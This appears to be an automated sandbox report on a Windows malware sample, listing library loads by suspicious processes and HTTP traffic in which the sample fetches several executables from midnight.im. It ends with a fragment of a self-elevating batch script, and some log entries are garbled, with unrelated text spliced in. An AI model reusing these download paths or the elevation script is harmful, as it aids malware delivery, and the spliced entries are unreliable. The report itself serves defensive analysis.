api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004928) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004928) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004928) "net1.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004928) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005724) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005724) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005724) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005724) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001360) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001360) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001360) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001360) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008156) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008156) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008156) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008156) "DbLqLGVL.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007864) "DbLqLGVL.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007864) "DbLqLGVL.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007864) "DbLqLGVL.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007864) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006096) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006096) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006096) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006096) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005812) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005812) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005812) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005812) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003320) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003320) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003320) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003320) "2j4686.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001348) "2j4686.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001348) "2j4686.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001348) "2j4686.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001348) "2j4686.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001348) "2j4686.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001348) "2j4686.exe" called "LoadLibrary" with a parameter NTDLL.dll (UID: 00000000-00001348) "2j4686.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00001348) "2j4686.exe" called "LoadLibrary" with a parameter NTDLL (UID: 00000000-00001348) "2j4686.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001348) "2j4686.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00001348) "2j4686.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00001348) "2j4686.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001348) "2j4686.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001348) "systemhelper.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001396) "systemhelper.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001396) "systemhelper.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001396) "systemhelper.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001396) "systemhelper.exe" called "LoadLibrary" with a parameter HTTP/1.1 301 Moved Permanently Date: Fri 12 Sep 2025 03:16:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive CF-RAY: 97dc3f026fb30fe0-LAX Location: http://midnight.im X-Frame-Options: SAMEORIGIN cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ah%2F7aKtDGDOMfWGtUfgihBjKbsUHh6J%2FkPvJvTGKkVEXNnGRE9koirWcKxLoLgA7lmlCykjVPhXisfCWYyd688FzaRRQ9xtBsXfqLVFFL0nTDC4I4Jch%2FSlM7hRf"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=16042&min_rtt=9509&rtt_var=15721&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2986&recv_bytes=488&delivery_rate=296778&cwnd=38&unsent_bytes=0&cid=95cdf8af416d8a0c&ts=1274&x=0" with response body ==>33633A36383A37343A36643A36633A33653A30643A30613A33633A36383A36353A36313A36343A33653A33633A37343A36393A37343A36633A36353A33653A33....... "GET / HTTP/1.1 Host: midnight.im Connection: Keep-Alive" Response ==> HTTP/1.1 301 Moved Permanently Date: Fri 12 Sep 2025 03:16:27 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri 12 Sep 2025 04:16:27 GMT Location: https://midnight.im/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ULzEBDN4bMOlldEUCKWlR3C6PFqTmGTOqM0ou3sLfkMjw4CmcYh1K4V3iih9EcnCi%2Fu8PTwAyWHg3a7F1sOd%2BK6FtMb%2Bdx7AybNSxvl%2FpM0oI4vcCtlVynwwTMQs"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 97dc3f052db17c68-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9313&min_rtt=9313&rtt_var=4656&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=61&delivery_rate=0&cwnd=35&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" with response body ==>33633A36383A37343A36643A36633A33653A30643A30613A33633A36383A36353A36313A36343A33653A33633A37343A36393A37343A36633A36353A33653A33....... "GET / HTTP/1.1 Connection: Keep-Alive Host: midnight.im" Response ==> HTTP/1.1 200 OK Date: Fri 12 Sep 2025 03:16:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-RAY: 97dc3f05ec790fe0-LAX X-Powered-By: PHP/8.4.10 X-Frame-Options: SAMEORIGIN X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Last-Modified: Fri 12 Sep 2025 03:16:27 GMT Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: private no-cache max-age=0 Vary: Accept-Encoding Set-Cookie: xf_csrf=A8YgTJQSavwgoq8I; path=/; secure cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VNEp4dIcoE2%2FGkMs%2BhxhxwrGy1LWOF1EC8c1THZAnbGS2IWPF1uODl2JrPuOzhqckVULbsnwjCbW4qAInLdm6zIcqICWDlZxOglqtfoF85fvBWaabVAOTzAoz5Ka"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15227&min_rtt=9431&rtt_var=13421&sent=8&recv=9&lost=0&retrans=0&sent_bytes=4060&recv_bytes=578&delivery_rate=306754&cwnd=40&unsent_bytes=0&cid=95cdf8af416d8a0c&ts=1677&x=0" with response body ==>33633A32313A34343A34663A34333A35343A35393A35303A34353A32303A36383A37343A36643A36633A33653A30613A33633A36383A37343A36643A36633A32....... "GET /files/2013029379/h6e2sYQ.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:16:28 GMT Content-Type: application/octet-stream Content-Length: 2011136 Last-Modified: Thu 11 Sep 2025 12:44:02 GMT Connection: keep-alive ETag: "68c2c412-1eb000" Accept-Ranges: bytes with response body ==>34643A35613A37383A30303A30313A30303A30303A30303A30343A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30....... "GET /files/7521979641/XZa7bUK.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:16:44 GMT Content-Type: application/octet-stream Content-Length: 783360 Last-Modified: Wed 10 Sep 2025 12:04:48 GMT Connection: keep-alive ETag: "68c16960-bf400" Accept-Ranges: bytes with response body ==>34643A35613A37383A30303A30313A30303A30303A30303A30343A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30....... "GET /files/unique2/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:16:57 GMT Content-Type: application/octet-stream Content-Length: 3643168 Last-Modified: Fri 12 Sep 2025 03:14:42 GMT Connection: keep-alive ETag: "68c39022-379720" Accept-Ranges: bytes with response body ==>34643A35613A35303A30303A30323A30303A30303A30303A30343A30303A30663A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /files/7435642179/OhHIHAl.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:13 GMT Content-Type: application/octet-stream Content-Length: 8542788 Last-Modified: Thu 11 Sep 2025 17:51:48 GMT Connection: keep-alive ETag: "68c30c34-825a44" Accept-Ranges: bytes with response body ==>34643A35613A35303A30303A30323A30303A30303A30303A30343A30303A30663A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /files/784403925/K8kGyaj.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Sep 2025 03:17:20 GMT Content-Type: application/octet-stream Content-Length: 853504 Last-Modified: Wed 10 Sep 2025 12:18:13 GMT Connection: keep-alive ETag: "68c16c85-d0600" Accept-Ranges: bytes with response body ==>34643A35613A37383A30303A30313A30303A30303A30303A30343A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30.......3f:T601b,"random.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74750000 "random.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74750000 "random.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74750000 "random.exe" loaded module "KERNEL32" at base 766d0000 "random.exe" loaded module "KERNEL32.DLL" at base 766d0000 "random.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76860000 "random.exe" loaded module "FECLIENT.DLL" at base 73180000 "random.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73150000 "random.exe" loaded module "NTDLL.DLL" at base 77ca0000 "random.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74520000 "1a52M6.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74750000 "1a52M6.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74750000 "1a52M6.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74750000 "1a52M6.exe" loaded module "KERNEL32" at base 766d0000 "1a52M6.exe" loaded module "ADVAPI32.DLL" at base 76860000 "1a52M6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 73090000 "1a52M6.exe" loaded module "SHLWAPI.DLL" at base 755b0000 "1a52M6.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 767d0000 "1a52M6.exe" loaded module "VERSION.DLL" at base 74300000 "1a52M6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 728e0000 "1a52M6.exe" loaded module "USER32.DLL" at base 75870000 "1a52M6.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 74750000 "1a52M6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "1a52M6.exe" loaded module "MSCOREE.DLL" at base 73120000 "1a52M6.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 750a0000 "1a52M6.exe" loaded module "PSAPI.DLL" at base 765f0000 "1a52M6.exe" loaded module "RPCRT4.DLL" at base 754f0000 "1a52M6.exe" loaded module "KERNEL32.DLL" at base 766d0000 "1a52M6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70c30000 "1a52M6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "1a52M6.exe" loaded module "OLE32.DLL" at base 763f0000 "1a52M6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "1a52M6.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 750a0000 "1a52M6.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 74750000 "1a52M6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72780000 "1a52M6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 701d0000 "1a52M6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "1a52M6.exe" loaded module "SHELL32.DLL" at base 76960000 "1a52M6.exe" loaded module "NTDLL.DLL" at base 77ca0000 "1a52M6.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74520000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74750000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74750000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74750000 "cmd.exe" loaded module "KERNEL32" at base 766d0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 766d0000 "cmd.exe" loaded module "NTDLL.DLL" at base 77ca0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74520000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74750000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74750000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74750000 "powershell.exe" loaded module "KERNEL32" at base 766d0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 76860000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 73090000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 755b0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 767d0000 "powershell.exe" loaded module "VERSION.DLL" at base 74300000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 728e0000 "powershell.exe" loaded module "USER32.DLL" at base 75870000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 74750000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 73120000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 750a0000 "powershell.exe" loaded module "PSAPI.DLL" at base 765f0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 754f0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 766d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70c30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 763f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 750a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 74fb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72730000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76900000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 74750000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72780000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 701d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6f9b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 750a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 750a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 77ca0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 76960000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 74f60000 "powershell.exe" loaded module "AMSI.DLL" at base 72720000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f230000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 74f60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 756e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74300000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 726d0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\C7E9HXKZ.DLL" at base 72690000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 725f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "CRYPT32.DLL" at base 756e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 72290000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 750a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 72240000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6f120000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 72230000 "powershell.exe" loaded module "SSPICLI.DLL" at base 745d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 72210000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74080000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6f080000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 766d0000 "powershell.exe" loaded module "USERENV.DLL" at base 726f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76860000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 721b0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6f060000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 766d0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6f030000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6eed0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6eea0000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6eea0000 "powershell.exe" loaded module "GDI32.DLL" at base 767a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 73950000 "net1.exe" loaded module "KERNEL32" at base 766d0000 "net1.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 74750000 "net1.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 74750000 "net1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 74750000 "net1.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 766a0000 "net1.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74750000 "net1.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74750000 "net1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74750000 "net1.exe" loaded module "RPCRT4.DLL" at base 754f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 74750000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 74750000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 74750000 "DbLqLGVL.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74750000 "DbLqLGVL.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74750000 "DbLqLGVL.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74750000 "DbLqLGVL.exe" loaded module "KERNEL32" at base 766d0000 "DbLqLGVL.exe" loaded module "RPCRT4.DLL" at base 754f0000 "DbLqLGVL.exe" loaded module "SSPICLI.DLL" at base 745d0000 "2j4686.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74750000 "2j4686.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74750000 "2j4686.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74750000 "2j4686.exe" loaded module "KERNEL32" at base 766d0000 "2j4686.exe" loaded module "USER32.DLL" at base 75870000 "2j4686.exe" loaded module "ADVAPI32.DLL" at base 76860000 "2j4686.exe" loaded module "NTDLL.DLL" at base 77ca0000 "2j4686.exe" loaded module "WINMM.DLL" at base 72750000 "2j4686.exe" loaded module "NTDLL" at base 77ca0000 "2j4686.exe" loaded module "KERNEL32.DLL" at base 766d0000 "2j4686.exe" loaded module "SHELL32.DLL" at base 76960000 "2j4686.exe" loaded module "GDI32.DLL" at base 767a0000 "2j4686.exe" loaded module "OLE32.DLL" at base 763f0000 "2j4686.exe" loaded module "OLEAUT32.DLL" at base 74fb0000 "2j4686.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base 766d0000 "systemhelper.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74750000 "systemhelper.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74750000 "systemhelper.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74750000 "systemhelper.exe" loaded module "KERNEL32" at base 766d0000 "systemhelper.exe" loaded module "nulColor 0fset "Arch=" & set "ArgNsudo=" & set "MainFolder1=" & set "MainFolder2=" & set "ProcList=" & set "NumberWin="SetLocal EnableDelayedExpansioncd /d "%~dp0hater"set "Arch=x64" & (If "%PROCESSOR_ARCHITECTURE%"=="x86" if not defined PROCESSOR_ARCHITEW6432 set Arch=x86)reg query "HKU\S-1-5-19" >nul 2>&1 || nircmd elevate "%~f0" any_word && exitif defined WT_SESSION (reg add "HKCU\Console\%%%%Startup" /v "DelegationConsole" /t 